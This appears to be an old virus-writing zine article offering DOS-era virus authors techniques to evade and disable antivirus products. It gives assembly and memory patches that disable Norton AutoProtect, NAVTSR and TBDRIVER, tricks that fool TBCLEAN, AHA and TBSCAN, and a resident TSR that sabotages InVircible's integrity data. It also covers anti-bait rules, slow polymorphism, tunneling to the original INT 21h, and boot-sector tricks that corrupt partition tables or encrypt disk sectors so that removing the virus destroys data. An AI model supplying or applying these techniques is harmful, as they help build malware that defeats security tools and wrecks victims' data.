576 lines
29 KiB
Plaintext
576 lines
29 KiB
Plaintext
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ R e s i s t ! ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
|
||
ÄÄÄ Futher virus strategies ÄÄÄ
|
||
|
||
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ by Mouth of Sauron ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
|
||
Disabling AutoProtect and NAVTSR
|
||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
One of the first antivirus programs available for Windows 95 was Norton Anti-
|
||
virus. Except for the user interface, nothing much changed. The detection ratio
|
||
and protection level is a joke. But nevertheless a lot of people use NAV(95)
|
||
and have NAVTSR or AutoProtect installed, which should protect them from
|
||
"all known and unknown" viruses. Hmmm, the Symantec advertisement is also quite
|
||
funny, all that crap about 32 bit viruses. So far, no 32 bit virus is known,
|
||
except Bizatch which was not finished when NAV95 was available in the shops.
|
||
|
||
There are several possible ways to attack NAV, I will describe two of them
|
||
here. First of all, AutoProtect and NAVTSR have an INT 2Fh API which allows you
|
||
to detect, disable and enable the VxD/TSR, similar to VSAFE (remember VSLAY?):
|
||
|
||
|
||
* The NAVTSR and AutoProtect API:
|
||
|
||
- NAV 4.0 (NAV for Windows 95):
|
||
|
||
Detect:
|
||
MOV AX,0FE00H
|
||
MOV SI,4E41H
|
||
MOV DI,4E55H
|
||
INT 2FH
|
||
|
||
Results:
|
||
-> AX = 0 TSR not active
|
||
AX = 1 TSR active
|
||
SI = 6E61H
|
||
DI = 6E75H
|
||
|
||
Enable:
|
||
MOV AX,0FE01H
|
||
MOV SI,4E41H
|
||
MOV DI,4E55H
|
||
INT 2FH
|
||
|
||
Disable:
|
||
MOV AX,0FE02H
|
||
MOV SI,4E41H
|
||
MOV DI,4E55H
|
||
INT 2FH
|
||
|
||
|
||
The second approach is to delete the data files NAV uses to immunise files
|
||
and the boot sector. NAV puts all this data into some files which are
|
||
located in "\NCDTREE" by default, one directory for each drive. The user
|
||
could change the location of these data files, but this option is well hidden
|
||
so I guess none of these dummy users will ever change it. Well, just delete
|
||
the files in "\NCDTREE" and NAV will recreate all the data without any warning
|
||
next time it is called.
|
||
|
||
By default, NAV doesn't scan the upper memory area (UMB) and will not detect
|
||
viruses which go resident there. It's always a good idea to use UMB for staying
|
||
resident, so use it!
|
||
|
||
|
||
TBAV: No changes!
|
||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
* Disabling TBDRIVER:
|
||
|
||
Although the method to disable TBDRIVER (from the great TBAV antivirus
|
||
program) has been known for several months and several viruses are known
|
||
to use this trick, Thunderbyte B.V. has done nothing to protect it's product
|
||
against this attack. Up to version 6.51, the entry point code of TBDRIVER
|
||
looks the same and can be modified without problems.
|
||
|
||
Just scan the memory for
|
||
|
||
EB 05 (*)
|
||
EA xx xx xx xx
|
||
FA
|
||
9C
|
||
FC
|
||
53
|
||
50
|
||
|
||
To disable TBDRIVER and all it's supporting TSRs like TBFILE, TBMEM, TBCHECK
|
||
and TBSCANX just change the EB 05 (that's a SHORT JMP) to EB 00. The TSR is
|
||
then disabled and can't intercept your virus. Furthermore, you can get the
|
||
original INT 21h vector which is stored after the "EA" (FAR JMP).
|
||
|
||
A good idea is to do the scanning while tracing INT 21h. When you patch the
|
||
driver at once, no trace warning will be displayed. But simple INT 1 tracing
|
||
is now quite dangerous, as there are many watchdog TSRs which intercept it.
|
||
To prevent detection by these tools, you could scan each of the MCB areas
|
||
(but keep in mind that TBDRIVER can also be loaded as a DEVICE!) for the
|
||
signature, or you can use recursive tunneling. If you don't know recursive
|
||
tunneling, take a look at ART (was released in an older VLAD magazine).
|
||
It can be done even more easily, just code emulate the most important
|
||
branch operands like SHORT JMP, NEAR JMP and FAR JMP to trace through the
|
||
interrupt chain. As this is only emulation and not real single-step tracing,
|
||
it can't be intercepted. The most effective method to get the original INT 21h
|
||
vector is kernel scanning, which I will explain later in this text.
|
||
|
||
Besides the scanner and resident watchdogs, TBAV contains a tool called
|
||
TBCLEAN. This is a generic file virus cleaner, but unlike TBSCAN it does not
|
||
use code emulation but rather does stupid INT 1 tracing with some security
|
||
checks to prevent the virus from activating. The first virus which managed
|
||
to activate while being cleaned with TBCLEAN was Varicella, but the method
|
||
used to cheat TBCLEAN no longer works. Still, there are some ways to fool
|
||
TBCLEAN. Besides using do-nothing interrupt calls like AH=01h INT 16h, AH=08h
|
||
INT 10h or other INT 21h API calls, stack modifications (DEC SP, INC SP) or
|
||
prefetch queue tricks to stop TBCLEAN from cleaning a file. COM infectors also
|
||
can do a quick jump back to offset 100h to stop the cleaning process, but it
|
||
is much more interesting to use TBCLEAN as a vector. TBCLEAN of course prevents
|
||
all direct manipulation of the interrupt vector area (you also can use this
|
||
to stop TBCLEAN), but obviously TBCLEAN has problems handling segment
|
||
overrides like DS: ES: and the others.
|
||
|
||
A simple example. Try to (TB)clean this little COM program:
|
||
|
||
mov AX,4c00h
|
||
db 2eh
|
||
int 21h
|
||
nop
|
||
|
||
Funny, isn't it? The segment override in combination with the NOP prevents
|
||
TBCLEAN from detecting the interrupt call, which will get executed for real
|
||
now! To fully activate your virus, you could use AX=2521h (Set interrupt)
|
||
to set a new interrupt 21h routine.
|
||
Keep in mind that this override/NOP structure could be used for possible
|
||
heuristic flags, so hide it behind a layer of (polymorphic) encryption.
|
||
|
||
|
||
AHA - A dangerous new heuristic engine
|
||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
Unnoticed by most virus coders, S&S added a new heuristic engine to their
|
||
already very good scanner FINDVIRUS from the Dr. Solomon Antivirus Toolkit.
|
||
Besides it's very good hit ratios and detection of even the most polymorphic
|
||
viruses, it also causes almost no false positives. But this is also the weak
|
||
point of the heuristic. The coders' first aim was obviously for the
|
||
heuristics not to cause any false positives, and the checks it does to
|
||
prevent them are quite easy to come by. At first, the entry point of the
|
||
program must be around 200 to 4000 bytes before the end of file. Normally,
|
||
encrypted viruses look like this:
|
||
|
||
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
³
|
||
ÚÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
³ 1 ³ 2 ³ 3 ³ 4 ³
|
||
ÀÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
(1) = Program header, now points to virus entry point at (3)
|
||
(2) = Old program code
|
||
(3) = Entry point of virus with the decryptor
|
||
(4) = Encrypted virus code
|
||
|
||
This AHA detects without problems, but it fails to detect the same (!) virus
|
||
if it's modified like this:
|
||
|
||
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
³
|
||
ÚÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄ¿
|
||
³ 1 ³ 2 ³ 3 ³ 4 ³5³
|
||
ÀÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÙ
|
||
³
|
||
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
(1) = Program header, now points to virus entry point at (5)
|
||
(2) = Old program code
|
||
(3) = Real entry point of virus with the decryptor
|
||
(4) = Encrypted virus code
|
||
(5) = Simple or hidden jump to real virus start at (3)
|
||
|
||
If the entry point lies out of the usual area, AHA thinks it's a normal
|
||
program and stops analysing it. Besides this, AHA is very susceptible to
|
||
anti-heuristic structures and it only cares about normal file infectors,
|
||
ignoring boot viruses completely. AHA also doesn't emulate the interrupt
|
||
or BIOS area at 0:0 or 40:0, so make some far calls to this area to stop
|
||
AHA from emulating code. Stack modifications also confuse AHA, similar to
|
||
prefetch queue tricks, but as these queue tricks don't run on Pentiums,
|
||
it's no longer possible to use them. AHA is very effective at detecting
|
||
polymorphic engines which create large amounts of garbage opcode, so create
|
||
only "smooth" decryptors with your polymorphic engine.
|
||
|
||
Slow motion
|
||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
I already discussed slow polymorphic engines some time ago, but as this
|
||
is quite important I'm mentioning it here again. Most virus coders think
|
||
that a polymorphic engine is good when it's very variable and changes
|
||
with every infected file. This is true to some extent, but this also
|
||
allows the virus researchers to quickly analyse the engine by just creating
|
||
a few hundred files. Usually, the AV researchers get a lot of new viruses
|
||
every week and they don't have the time to fully analyse every single virus.
|
||
So, if the virus looks static after quickly infecting five or ten files, the
|
||
researcher won't do further analysis and will just add a simple scan string to
|
||
their product. This will happen if you are using a slow polymorphic engine,
|
||
or at least slow down the randomizing of it. It might be a good idea to
|
||
fetch the neccessary random factors only one time per day, at the time when
|
||
the virus goes resident for example (what, your virus is not resident? Argh!).
|
||
Also, use the system date instead of the system time to create random numbers.
|
||
If the created decryptors change only very slowly, it'll become quite difficult
|
||
to create enough representative infected bait files.
|
||
|
||
Instead of inserting garbage opcodes, your engine should add "real" code,
|
||
which looks like useful code. Use branches (calls!) and do many time consuming
|
||
loops. An example of this is SMEG, which creates huge decryptors but the
|
||
decryption method itself is too weak. It's useless to write a polymorphic
|
||
engine which creates 2000 byte large decryptors but only uses a simple 8 bit
|
||
XOR for encryption. Consider this for your engine and use several different
|
||
encryption methods in combination. Another interesting method to fool scanners,
|
||
especially TBSCAN is to fake known file headers like PKLITE, LZEXE or TURBO C.
|
||
For example, all PKLITE compressed files always begin with:
|
||
|
||
B8 xx xx mov AX,????
|
||
BA xx xx mov DX,????
|
||
05 xx xx add AX,????
|
||
3b 06 02 00 cmp AX,[2]
|
||
|
||
73 1a jnb Label_1 or: 72 1b jb Label_1
|
||
2d 20 00 sub AX,20h b4 09 mov AH,9
|
||
FA cli ba ?? ?? ba 18 01
|
||
|
||
If your virus begins with these harmless opcodes, TBSCAN will just report
|
||
"Looking ... > cp" and will stop scaning the file, thinking it's compressed
|
||
with PKLITE. Take a look at PKLITE 1.15 or TURBO C headers and copy them,
|
||
but keep in mind that these are fixed strings. A polymorphic engine could
|
||
possibly fake a couple of these known file headers in order to cause confusion.
|
||
|
||
Lastly, most code emulators don't fully emulate all interrupt 21h API
|
||
calls. So, use some of them which result in known register contents, for
|
||
example AH=52h INT 21h. This only returns a vector to the SYSVARS list in
|
||
memory, and almost every DOS version (tested with MS-DOS, IBM-DOS and OS/2)
|
||
returns BX=26h. Or access the interrupt vector table (at 0:0) directly, for
|
||
example by creating a simple RETF there and then FAR CALLING this address.
|
||
|
||
|
||
Generic Anti-Anti-Virus?
|
||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
There were many discussions about InVircible, a generic antivirus toolkit from
|
||
NetZ Computing. The result of this was some anti-InVircible viruses which
|
||
attack it by deleting the data files, IVB.NTZ by default. Of course, it's
|
||
possible to rename this file, and one virus coder solved this by scanning
|
||
every file in the current directory for the usual IVB.NTZ file header.
|
||
Zvi Netivs' answer to One13th is to use variable file headers for IVB.NTZ, so
|
||
you can't scan for them anymore. In fact, he is faking known file headers
|
||
like EXE files and ZIP or ARJ archives. But it's still very easy to do a
|
||
generic approach in order to find the data files. The solution I present here
|
||
is very easy. When IVB.EXE starts, it checks the IV.INI configuration file
|
||
for the SIG= parameter. The little TSR following here just intercepts this
|
||
and overwrites the signature name in memory. IVB just says that it's renewing
|
||
the data file and ignores any changes done to programs! Of course, it's
|
||
possible to read out the data file name and delete it afterwards, or simply
|
||
to delete IV.INI. In this case, InVircible just uses the standard IVB.NTZ
|
||
name again. It is very important that your virus stops infecting and
|
||
stealthing files when InVircible is executed because the virus checks are
|
||
good and will most likely detect the virus, even if InVircible can't read
|
||
it's data files.
|
||
|
||
This is just a simple TSR, not a virus!
|
||
|
||
org 100h
|
||
|
||
Virus_StartUp: mov ax,3521h
|
||
int 21h
|
||
mov word ptr [OldInt21],bx
|
||
mov word ptr [OldInt21+2],es
|
||
mov ah,25h
|
||
mov dx,offset NewInt21
|
||
int 21h
|
||
mov ah,31h ;Stay resident
|
||
mov dx,(Virus_End-Virus_StartUp+100h)/10h+1
|
||
int 21h
|
||
|
||
NewInt21: cmp ah,3fh ;Read file access?
|
||
je l_Read
|
||
EndInt21: db 0eah ;Jump back to old int21
|
||
OldInt21 dd 0
|
||
|
||
l_Read: pushf ;Read in the data
|
||
call dword ptr cs:[OldInt21]
|
||
jc l1
|
||
pushf
|
||
or ax,ax ;Nothing read?
|
||
jz l3
|
||
push ax
|
||
push cx
|
||
push si
|
||
mov si,dx
|
||
sub ax,4
|
||
xchg cx,ax
|
||
cmp word ptr [si],"IS" ;'SIG='?
|
||
jne l2
|
||
cmp word ptr [si+2],"=G"
|
||
jne l2
|
||
l4: cmp byte ptr [si+4]," " ;Wipe signature name
|
||
jb l2
|
||
mov byte ptr [si+4]," "
|
||
inc si
|
||
loop l4
|
||
l2: pop si
|
||
pop cx
|
||
pop ax
|
||
l3: popf
|
||
l1: retf 2
|
||
|
||
Virus_End label byte
|
||
|
||
You also might intercept the executing of IVB.EXE and add '/V' to the actual
|
||
command-line! IVB will remove all the data files on it's own...
|
||
|
||
|
||
Anti-Bait
|
||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
Anti-bait routines will further improve the stealth abilities of a virus and
|
||
will keep stupid AV researchers from creating infected bait files without
|
||
problems. When an AV researcher gets a new virus, he usually creates some
|
||
samples with specific baits. Some AV companies have their own special bait
|
||
collection which they use for testing the cleaning ability of their product.
|
||
So it's quite neccessary for them to create baits. Some antivirus programs also
|
||
create baits and execute them in order to catch active viruses. It's quite
|
||
easy to avoid these bait traps if your virus doesn't infect files on
|
||
the following conditions:
|
||
|
||
1. The executable file has the actual day, month and year set in it's file
|
||
time stamp. Baits are usually created shortly before the virus should
|
||
infect them, so this is one easy method to avoid baits. Normal programs are
|
||
usually older than one month, so this is no real problem for the virus.
|
||
It even helps the virus to stay unnoticed, as new software is usually
|
||
especially carefully screened.
|
||
|
||
2. Do not infect files which have numbers in their file name. Baits are usually
|
||
numbered (eg BAIT1.COM, BAIT2.COM, BAIT3.COM and so on) or they are created
|
||
using AH=5ah INT 21h (Create temporary file), whose file names also contain
|
||
numbers.
|
||
|
||
This should be enough to prevent infecting most bait files, but there are
|
||
more things your virus could check:
|
||
|
||
3. Store the length of file name of an infected file and don't infect the next
|
||
file if it has the same name length. This is neccessary when the AV
|
||
researcher doesn't use numbers but letters for numbering the bait files
|
||
(eg BAITA.COM, BAITB.COM, BAITC.COM).
|
||
|
||
4. As 3. doesn't work if only one bait file is created, you could further check
|
||
if the file is located in the root directory. A lot of antivirus programs
|
||
create their files in the root directory of the actual drive, or use C:\.
|
||
You check this by checking the file name for the amount of '\'s. Skip
|
||
files which only have one '\' in their name, that's all. You might need
|
||
to exclude COMMAND.COM from this check if you still want to infect it.
|
||
|
||
5. A very powerful method to avoid baits is to add a timer function which
|
||
prevents the virus from infecting files in a short interval. Just set this
|
||
timer to 1-10 minutes and creating large amounts of baits will become a big
|
||
problem. It might also be funny to add a timer which will add a pause after
|
||
the virus activation and keep the virus from infecting files too soon.
|
||
The larger variants of Sirius.Alive use this.
|
||
|
||
Keep in mind that the AV researcher can't patch the virus in order to remove
|
||
these checks. They need unmodified versions of the virus and can't avoid all
|
||
this anti-bait stuff.
|
||
|
||
|
||
Armoured boot viruses
|
||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
Boot viruses are the most common viruses in the world. Viruses like Monkey,
|
||
Stoned, AntiExe, Stealth_Boot, AntiCMOS, B1, Form or V-Sign are responsible
|
||
for almost 90 percent of all infections world-wide. By now, most users know
|
||
the 'undocumented' FDISK parameter '/MBR' which will replace the partition
|
||
sector loader code with the standard DOS code, removing a virus from the
|
||
partition sector. This works fine with almost all viruses, but with Monkey
|
||
a new infection scheme was introduced which will cause total loss of data
|
||
when the user tries to use 'FDISK /MBR'. All methods described below require
|
||
that the virus is resident and has full stealth abilities or the system will
|
||
halt at the next reboot. Monkey uses a simple trick: it not only infects the
|
||
partition code but changes the master boot record at offset 1BEh to an invalid
|
||
partition record. If you boot the system from a clean disk, the virus is gone
|
||
and you can't access the hard disk anymore from DOS! Some stupid AV programs
|
||
still can't handle this situation and refuse to scan the hard disk, not being
|
||
able to detect or clean the virus now! If you now use FDISK, it will overwrite
|
||
and remove the virus, but will keep the invalid partition record.
|
||
The second method is quite unknown but just a simple improvement of the first
|
||
one. And it's quite surprising for the unskilled user! To make it short:
|
||
Just scan the partition record for the active partition entry (the one which
|
||
is flagged with 80h), change it's type to EXTENDED (05h) and set the start
|
||
cylinder/head/sector to 0/0/1. This causes an endless loop when you try to
|
||
boot from a clean disk. The system just hangs up and it's not possible to
|
||
boot without the virus. All MS-DOS versions from 4.0 to 7.0 have this bug,
|
||
only IBM-DOS will finish the boot sequence, but as the partition record is
|
||
invalid, you will only get 'Invalid drive C:' if you try to access the hard
|
||
disk. So far, only a Gingerbread variant uses this trick, but it's very easy
|
||
to add this feature to a boot virus and most people use MS-DOS, so why not
|
||
use it?
|
||
The third method is much more troublesome and causes real problems if
|
||
it's not coded correctly. The idea is to encrypt the whole hard disk data
|
||
area, like Onehalf does. Of course you can't encrypt the whole hard disk at
|
||
once (a virus that needs hours to install seems very obvious to me...),
|
||
but instead encrypt just a few sectors, starting at the beginning or end of the
|
||
hard disk data area. Most AV programs can clean Onehalf now, but they only
|
||
remove the virus from the partition and clean the files, but don't decrypt
|
||
the hard disk. At last, use variable encryption when storing the original
|
||
partition sector. Some AV programs scan the whole hard disk for those copies
|
||
and use them for cleaning. Some programs can even rebuild the partition record
|
||
if it's completely wiped and only the boot sectors are available. So it might
|
||
be a good idea to encrypt them too.
|
||
|
||
|
||
Some comments about file infection
|
||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
A lot of resident watchdogs heavily rely on INT 2Ah while intercepting system
|
||
calls. Every time a INT 21h API call is done, the DOS kernel calls INT 2Ah
|
||
with AH=80h after the INT 21h API call has finished. DOS doesn't call INT 2Ah
|
||
after every function, but after all API calls which are necessary for viruses.
|
||
By intercepting INT 2Ah and determining the original registers the watchdog
|
||
can easily bypass and detect the virus! So it's a good idea to set INT 2Ah to
|
||
a do-nothing handler while infecting files. Like INT 24h, just set it to an
|
||
IRET opcode. This will leave a few AV watchdogs powerless, for example the
|
||
AVP TSR or PCRX use this method to intercept system calls.
|
||
|
||
Some stupid AV watchdogs even do a primitive handle check before doing
|
||
further checks to the file handle. They only care about handles which are
|
||
equal or higher than 5 (they just do a stupid BX>=5 check instead of using
|
||
IOCTL). Normally, all handles below 5 are system handles and are occupied by
|
||
PRN, AUX, NUL and other standard devices. But by using AH=45h INT 21h
|
||
(Duplicate file handle) you can copy such a system handle to a higher handle,
|
||
close it and reopen the target file. This new handle will then be a low handle,
|
||
and a lot of watchdogs will ignore file modifications which are done while
|
||
using this handle. After infecting the file, just copy back the system handle
|
||
from the higher location to the still opened lower handle.
|
||
|
||
More comments about interrupt usage
|
||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
Of course all of you know how to disable VSAFE in memory, using it's own API.
|
||
But I really suggest that you stop using INT 13/16/21 AX=FA01h to remove VSAFE
|
||
because now some AV watchdogs intercept this special call and will block your
|
||
virus! VSAFE by itself never uses this call directly, so only viruses can be
|
||
the reason for such a call. It's much more efficient to use recursive tunneling
|
||
or kernel scanning to bypass this stupid watchdog.
|
||
|
||
Don't use things like
|
||
|
||
mov AX,0deadh
|
||
int 21h
|
||
cmp AX,0acdch
|
||
je Virus_Installed
|
||
|
||
for determining if your virus is already active! First of all, TBSCAN and
|
||
other heuristic tools will detect this at once as a virus structure and
|
||
some AV watchdogs will intercept any strange INT 21 function in order to catch
|
||
resident viruses while they install themselves in memory. Instead, use some
|
||
'normal' functions like AH=30h. For example, it's much harder to intercept:
|
||
|
||
mov AX,3096h
|
||
mov SI,1996h
|
||
mov DI,1996h
|
||
int 21h
|
||
cmp AL,3
|
||
jne No_Virus
|
||
cmp SI,1997h
|
||
jne No_Virus
|
||
cmp DI,1997h
|
||
je Virus_Installed
|
||
|
||
The watchdog TSR now can't distinguish between a normal DOS version check
|
||
and a virus are-you-there call.
|
||
|
||
Or you could add more checks like a special SP range if your virus infects
|
||
EXE only. If the virus always installs a new SP from 200h to 220h, don't
|
||
react to self-check calls if the SP range is invalid. Some AV programs call
|
||
all the known virus 'are-you-there' calls in order to detect the presence of
|
||
a virus.
|
||
|
||
Don't use simple INT 1 tracing! Almost every quality AV watchdog will intercept
|
||
this (or it's absolutely worthless). Ita much better to use recursive tunneling
|
||
or kernel scanning. Kernel scanning is very easy. The approach I now explain
|
||
will work with MS-DOS and IBM-DOS when the DOS kernel is in the HMA, but
|
||
it's easy enough to find the entry point when DOS is loaded low (for example
|
||
when the user pressed F5 while booting).
|
||
|
||
The first thing you need is the DOS data segment. You can get it by calling
|
||
AH=52h INT 21h, returning a pointer in ES:BX. Just scan the ES segment for
|
||
the following structures:
|
||
|
||
90 nop
|
||
90 nop
|
||
E8 ?? 00 call A20_Check
|
||
2E FF 2E xx xx jmp far CS:[xxxx]
|
||
90 nop
|
||
90 nop
|
||
...
|
||
|
||
There's a whole bunch of these calls, so after detecting the first one skip
|
||
14h bytes in order to get the INT 21h entry point. Now you might patch this
|
||
code fragment directly or further trace the JMP FAR into the HMA.
|
||
|
||
You could also scan the HMA directly, just search for:
|
||
|
||
FA cli
|
||
80 FC ?? cmp AH,?? (mostly 6Ch, but DOS 7.0 uses 73h)
|
||
77 ?? ja ?? (in fact, these 7x calls are used for
|
||
80 FC 33 cmp AH,33h long file name access and drive locking)
|
||
72 ?? jc ??
|
||
74 ?? jz ??
|
||
80 Fc 64 cmp AH,64h
|
||
...
|
||
|
||
This one usually starts somewhere at F8xx-FFxx:4xxx (in my system this entry
|
||
point is at FF06h:41E7h), and don't forget to enable the HMA before scanning
|
||
this area. The simplest way to enable the HMA is to call a do-nothing INT 21h
|
||
like GET DATE.
|
||
|
||
A more interesting way to get the original INT 21h entry point is recursive
|
||
tunneling. Instead of using the CPU single step mode you could emulate the
|
||
most important jump operands and trace trought the interrupt chain. Unlike
|
||
real tracing, this can't be intercepted by a watchdog. The only countermeasure
|
||
is to add some traps in the watchdog code which the recursive tunneler can't
|
||
emulate. Recursive tunneling is quite easy to do, just get the actual INT 21h
|
||
vector and scan the area around this entry point for instructions like
|
||
|
||
2E FF 2E xx xx jmp far CS:[xxxx]
|
||
|
||
2E FF 1E xx xx call far CS:[xxxx]
|
||
|
||
9A xx xx yy yy call far yyyy:xxxx
|
||
|
||
EA xx xx yy yy jmp far yyyy:xxxx
|
||
|
||
Of course it's neccessary to check if the destination vector is valid. Just
|
||
scanning for EAh or 9Ah is quite uncertain, so instead you should scan for
|
||
9D EA, 9D 9A, FB EA or FB 9A (9D is a POPF instruction and FB is STI
|
||
which are often used before returning to the old INT 21 vector). It also
|
||
might be a good idea to emulate SHORT or NEAR JMPs, especially when they are
|
||
the first instruction at the entry point of the INT 21h vector.
|
||
It's a good idea to do some AV watchdog scanning while tracing with the
|
||
recursive tunneler and patch the TSR code in memory.
|
||
|
||
If you need the original INT 2Fh entry point, for example if you use AH=13h
|
||
INT 2Fh and don't want that your undocumented INT 2F call to be intercepted
|
||
just take a look at 70:05h in memory. When using standard MS-DOS or IBM-DOS,
|
||
DOS places a FAR JMP at this location which can be used to get a secure
|
||
INT 2Fh entry point or to hook INT 2Fh with a more stealthy method. You should
|
||
check the this vector before using it, normally it points to a JMP FAR
|
||
instruction (EA xx xx yy yy), but under MS-DOS 7.0 there's a NEAR JMP (E9h)
|
||
which points to a JMP FAR CS:[xxxx] (2E FF 2E xxxx). Under IBM-DOS this
|
||
directly points into the HMA (segment above F8xxh). If you need to access the
|
||
HMA without a watchdog being able to intercept this call scan the HMA
|
||
for:
|
||
FB sti
|
||
80 FC 11 cmp AH,11
|
||
75 0A jnz l1
|
||
0A C0 or AL,AL
|
||
74 03 jz l2
|
||
E8 DC FF call l3
|
||
CA 02 00 retf 2
|
||
80 FC 10 cmp AH,10
|
||
|
||
This is the HMA entry point of INT 2Fh and will allow you to use AX=1216h and
|
||
AX=1220h INT 2Fh without problems. It might be neccessary to enable the HMA
|
||
before scanning the area at F800:xxxx, but usually the HMA is already active
|
||
if you called an INT 21h beforehand.
|
||
|
||
When your virus is a full file stealth virus, you should consider adding SFT
|
||
stealth. It's quite useless to hide the true file length at AX=4202 INT 21h
|
||
when the AV program can bypass the virus by checking the file SFT entry.
|
||
SFT stealth is quite easy to code, directly after opening an infected file
|
||
reduce the file length in the SFT entry of that file and mask the file date/
|
||
time stamp if your virus use an illegal time stamp to mark infected files.
|
||
This causes no problems unless a program tries to write to such a modified
|
||
handle. To prevent FAT corruption you should then return the SFT to it's former
|
||
state when a AH=40h INT 21h is called. To recognise a modified handle you maybe
|
||
could use the SFT vector as an ID. It's not necessary to fix the handle before
|
||
it's closed when no changes were done to the file. Besides having a better
|
||
stealth cover, the virus no longer needs to intercept AX=4202 INT 21h in
|
||
order to prevent reading from the true file end. Only AH=3Fh INT 21h has to
|
||
be intercepted, and only in the case that a program tries to read in the
|
||
modified file header.
|
||
|
||
|